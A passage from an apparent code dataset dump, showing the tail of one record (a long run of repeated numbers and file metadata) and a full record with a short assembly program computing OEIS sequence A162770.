39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39\n*\/\n","avg_line_length":35.0904977376,"max_line_length":2999,"alphanum_fraction":0.6589297228} {"size":736,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A162770: a(n) = ((2+sqrt(5))*(1+sqrt(5))^n + (2-sqrt(5))*(1-sqrt(5))^n)\/2.\n; Submitted by Jon Maiga\n; 2,7,22,72,232,752,2432,7872,25472,82432,266752,863232,2793472,9039872,29253632,94666752,306348032,991363072,3208118272,10381688832,33595850752,108718456832,351820316672,1138514460672,3684310188032,11922678218752,38582597189632,124855907254272,404042203267072,1307508035551232,4231184884170752,13692401910546432,44309543357775872,143388694357737472,464015562146578432,1501585901724106752,4859234052034527232,15724811710965481472,50886559630069071872,164672366104000069632,532890970728276426752\n\nlpb $0\n sub $0,1\n mul $2,2\n mov $3,$2\n mul $4,2\n add $4,1\n mov $2,$4\n add $4,$3\nlpe\nadd $2,$4\nmov $0,$2\ndiv $0,2\nmul $0,5\nadd $0,2\n","avg_line_length":38.7368421053,"max_line_length":494,"alphanum_fraction":0.7798913043}